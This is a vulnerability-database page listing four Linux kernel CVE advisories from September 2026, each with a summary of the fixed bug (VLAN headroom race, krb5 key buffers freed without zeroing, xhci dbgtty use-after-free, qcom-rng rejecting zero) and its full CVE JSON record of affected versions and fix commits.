GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    38193 vulnerabilities by Linux

    CVE-2026-80925 (GCVE-0-2026-80925)

    Vulnerability from nvd – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    vlan: fix skb_under_panic and races when toggling HW VLAN offload
    Summary
    In the Linux kernel, the following vulnerability has been resolved: vlan: fix skb_under_panic and races when toggling HW VLAN offload Toggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or NETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(), which dynamically changed vlandev->hard_header_len. This causes two issues: 1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2) read dev->hard_header_len without holding RTNL lock. Mutating hard_header_len dynamically under RTNL creates a data race where upper layers reserve insufficient headroom based on a stale hard_header_len, resulting in skb_under_panic when vlan_dev_hard_header() is called. 2. In addition, vlan_transfer_features() updated hard_header_len without updating header_ops, causing a mismatch between allocated headroom and header creation. Always setting dev->hard_header_len = real_dev->hard_header_len and dev->needed_headroom = real_dev->needed_headroom + VLAN_HLEN unconditionally ensures: - dev->hard_header_len remains 100% static and immutable at real_dev->hard_header_len, eliminating all dynamic runtime updates and data races on hard_header_len. - Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve sufficient headroom for software VLAN tag insertion (real_dev->hard_header_len + real_dev->needed_headroom + VLAN_HLEN). - vlandev inherits real_dev->needed_tailroom so underlying trailer/padding/ICV requirements are honored. - AF_PACKET SOCK_RAW network header offsets remain correctly aligned at real_dev->hard_header_len. - vlan_header_ops is used unconditionally. Note to stable teams: Make sure to backport these commits: e16e960d55a4 ("ipvlan: inherit needed_headroom and needed_tailroom from phy_dev") cef51860becd ("macvlan: inherit needed_headroom and needed_tailroom from lowerdev")
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a29f3b884ba50217e6f50414f568073221e2bb07 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 447cbe95ebb95392b5d8f6a01c0556826919ce23 (git)
    		Create a notification for this product.
    Linux Linux Affected: 2.6.12
    Unaffected: 0 , < 2.6.12 (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/8021q/vlan_dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a29f3b884ba50217e6f50414f568073221e2bb07",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "447cbe95ebb95392b5d8f6a01c0556826919ce23",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/8021q/vlan_dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvlan: fix skb_under_panic and races when toggling HW VLAN offload\n\nToggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or\nNETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(),\nwhich dynamically changed vlandev-\u003ehard_header_len.\n\nThis causes two issues:\n1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2)\n   read dev-\u003ehard_header_len without holding RTNL lock. Mutating\n   hard_header_len dynamically under RTNL creates a data race where upper\n   layers reserve insufficient headroom based on a stale hard_header_len,\n   resulting in skb_under_panic when vlan_dev_hard_header() is called.\n2. In addition, vlan_transfer_features() updated hard_header_len without\n   updating header_ops, causing a mismatch between allocated headroom\n   and header creation.\n\nAlways setting dev-\u003ehard_header_len = real_dev-\u003ehard_header_len and\ndev-\u003eneeded_headroom = real_dev-\u003eneeded_headroom + VLAN_HLEN unconditionally\nensures:\n- dev-\u003ehard_header_len remains 100% static and immutable at real_dev-\u003ehard_header_len,\n  eliminating all dynamic runtime updates and data races on hard_header_len.\n- Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve\n  sufficient headroom for software VLAN tag insertion (real_dev-\u003ehard_header_len +\n  real_dev-\u003eneeded_headroom + VLAN_HLEN).\n- vlandev inherits real_dev-\u003eneeded_tailroom so underlying trailer/padding/ICV\n  requirements are honored.\n- AF_PACKET SOCK_RAW network header offsets remain correctly aligned at\n  real_dev-\u003ehard_header_len.\n- vlan_header_ops is used unconditionally.\n\nNote to stable teams: Make sure to backport these commits:\n\ne16e960d55a4 (\"ipvlan: inherit needed_headroom and needed_tailroom from phy_dev\")\ncef51860becd (\"macvlan: inherit needed_headroom and needed_tailroom from lowerdev\")"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:44.748Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a29f3b884ba50217e6f50414f568073221e2bb07"
        },
        {
          "url": "https://git.kernel.org/stable/c/447cbe95ebb95392b5d8f6a01c0556826919ce23"
        }
      ],
      "title": "vlan: fix skb_under_panic and races when toggling HW VLAN offload",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80925",
    "datePublished": "2026-09-09T16:19:44.748Z",
    "dateReserved": "2026-08-26T14:34:25.802Z",
    "dateUpdated": "2026-09-09T16:19:44.748Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80924 (GCVE-0-2026-80924)

    Vulnerability from nvd – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    crypto: krb5 - use kfree_sensitive() for derived key buffers
    Summary
    In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - use kfree_sensitive() for derived key buffers crypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum() free the buffer holding the freshly derived keys with plain kfree(), leaving the key material behind in the freed slab object.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < 731a5b6fb4c1705f9405d9029dd64ea81e336207 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < 91b96dc9cc250cd16751f53de525cf3442ca0962 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < a1bf79365794783b19f5b09e8a23f7ee311e8931 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < f7d53dd3f267e46a784f219a75072f2f400d42b9 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.15
    Unaffected: 0 , < 6.15 (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "crypto/krb5/krb5_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "731a5b6fb4c1705f9405d9029dd64ea81e336207",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "91b96dc9cc250cd16751f53de525cf3442ca0962",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "a1bf79365794783b19f5b09e8a23f7ee311e8931",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "f7d53dd3f267e46a784f219a75072f2f400d42b9",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "crypto/krb5/krb5_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.15"
            },
            {
              "lessThan": "6.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: krb5 - use kfree_sensitive() for derived key buffers\n\ncrypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum()\nfree the buffer holding the freshly derived keys with plain kfree(),\nleaving the key material behind in the freed slab object."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:44.150Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/731a5b6fb4c1705f9405d9029dd64ea81e336207"
        },
        {
          "url": "https://git.kernel.org/stable/c/91b96dc9cc250cd16751f53de525cf3442ca0962"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1bf79365794783b19f5b09e8a23f7ee311e8931"
        },
        {
          "url": "https://git.kernel.org/stable/c/f7d53dd3f267e46a784f219a75072f2f400d42b9"
        }
      ],
      "title": "crypto: krb5 - use kfree_sensitive() for derived key buffers",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80924",
    "datePublished": "2026-09-09T16:19:44.150Z",
    "dateReserved": "2026-08-26T14:34:25.802Z",
    "dateUpdated": "2026-09-09T16:19:44.150Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80923 (GCVE-0-2026-80923)

    Vulnerability from nvd – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    xhci: dbgtty: Fix unregister on tty_register_driver() failure
    Summary
    In the Linux kernel, the following vulnerability has been resolved: xhci: dbgtty: Fix unregister on tty_register_driver() failure If tty_register_driver() fails, it drops the reference, but fails to set the global dbc_tty_driver to NULL, causing the unregister to be called again when module exits. On module unload dbc_tty_exit() only gates its cleanup on the driver pointer being non-NULL, so it operates on the already-freed driver: module_init(xhci_hcd_init) xhci_hcd_init() xhci_dbc_init() [return value ignored] dbc_tty_init() tty_register_driver() fails tty_driver_kref_put() -> driver freed (dbc_tty_driver left dangling) ... module_exit(xhci_hcd_fini) xhci_hcd_fini() xhci_dbc_exit() dbc_tty_exit() if (dbc_tty_driver) -> true (dangling) tty_unregister_driver() -> use-after-free
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 01b7bc0938061f2fd46e0094f6483d8c6c02f7d3 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 43635ff6401ca0e0ed21875379eeded921321525 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < eaca2814f32b9872a332326324b9e83e01f156d2 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 943f976c93e70563b132f5585ff68b08c89641a2 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 33ed35ca629477f57e0dd1d77d6df96cf5a9eb55 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 0e469b94fbba8eb03666da41dd1082b793c50c1a (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < a916fa66a43e10f63198b6ce978badffc678821a (git)
    		Create a notification for this product.
    Linux Linux Affected: 5.9
    Unaffected: 0 , < 5.9 (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.187 , ≤ 6.1.* (semver)
    Unaffected: 6.6.156 , ≤ 6.6.* (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-dbgtty.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "01b7bc0938061f2fd46e0094f6483d8c6c02f7d3",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "43635ff6401ca0e0ed21875379eeded921321525",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "eaca2814f32b9872a332326324b9e83e01f156d2",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "943f976c93e70563b132f5585ff68b08c89641a2",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "33ed35ca629477f57e0dd1d77d6df96cf5a9eb55",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "0e469b94fbba8eb03666da41dd1082b793c50c1a",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "a916fa66a43e10f63198b6ce978badffc678821a",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-dbgtty.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.187",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.187",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.156",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: dbgtty: Fix unregister on tty_register_driver() failure\n\nIf tty_register_driver() fails, it drops the reference, but fails to set\nthe global dbc_tty_driver to NULL, causing the unregister to be called\nagain when module exits.\n\nOn module unload dbc_tty_exit() only gates its cleanup on the driver\npointer being non-NULL, so it operates on the already-freed driver:\n\n    module_init(xhci_hcd_init)\n      xhci_hcd_init()\n        xhci_dbc_init()                       [return value ignored]\n          dbc_tty_init()\n            tty_register_driver() fails\n              tty_driver_kref_put()           -\u003e driver freed\n              (dbc_tty_driver left dangling)\n    ...\n    module_exit(xhci_hcd_fini)\n      xhci_hcd_fini()\n        xhci_dbc_exit()\n          dbc_tty_exit()\n            if (dbc_tty_driver)               -\u003e true (dangling)\n              tty_unregister_driver()         -\u003e use-after-free"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:43.538Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/01b7bc0938061f2fd46e0094f6483d8c6c02f7d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/43635ff6401ca0e0ed21875379eeded921321525"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaca2814f32b9872a332326324b9e83e01f156d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/943f976c93e70563b132f5585ff68b08c89641a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922"
        },
        {
          "url": "https://git.kernel.org/stable/c/33ed35ca629477f57e0dd1d77d6df96cf5a9eb55"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e469b94fbba8eb03666da41dd1082b793c50c1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a916fa66a43e10f63198b6ce978badffc678821a"
        }
      ],
      "title": "xhci: dbgtty: Fix unregister on tty_register_driver() failure",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80923",
    "datePublished": "2026-09-09T16:19:43.538Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:43.538Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80922 (GCVE-0-2026-80922)

    Vulnerability from nvd – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    crypto: qcom-rng - Allow zero as a random number
    Summary
    In the Linux kernel, the following vulnerability has been resolved: crypto: qcom-rng - Allow zero as a random number Zero is a valid random number and needs to be allowed. Otherwise the output is distinguishable from random.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 813e6718a199befc4f26f54bdd899fbfa11515e5 (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 4c0018320942003bfedd0a1c4cce3f036d363a7f (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 143c74034a1c47b0a1a64e7ca7153e7739bd1244 (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 3c7101cfc52e378bcb0a46962145e39c9051dd5d (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 4ef04bdc0c9f98836d1638be516f6bf1bad55f69 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.7
    Unaffected: 0 , < 6.7 (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/qcom-rng.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "813e6718a199befc4f26f54bdd899fbfa11515e5",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "4c0018320942003bfedd0a1c4cce3f036d363a7f",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "143c74034a1c47b0a1a64e7ca7153e7739bd1244",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "3c7101cfc52e378bcb0a46962145e39c9051dd5d",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "4ef04bdc0c9f98836d1638be516f6bf1bad55f69",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/qcom-rng.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qcom-rng - Allow zero as a random number\n\nZero is a valid random number and needs to be allowed.  Otherwise the\noutput is distinguishable from random."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:42.937Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/813e6718a199befc4f26f54bdd899fbfa11515e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c0018320942003bfedd0a1c4cce3f036d363a7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/143c74034a1c47b0a1a64e7ca7153e7739bd1244"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c7101cfc52e378bcb0a46962145e39c9051dd5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ef04bdc0c9f98836d1638be516f6bf1bad55f69"
        }
      ],
      "title": "crypto: qcom-rng - Allow zero as a random number",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80922",
    "datePublished": "2026-09-09T16:19:42.937Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:42.937Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
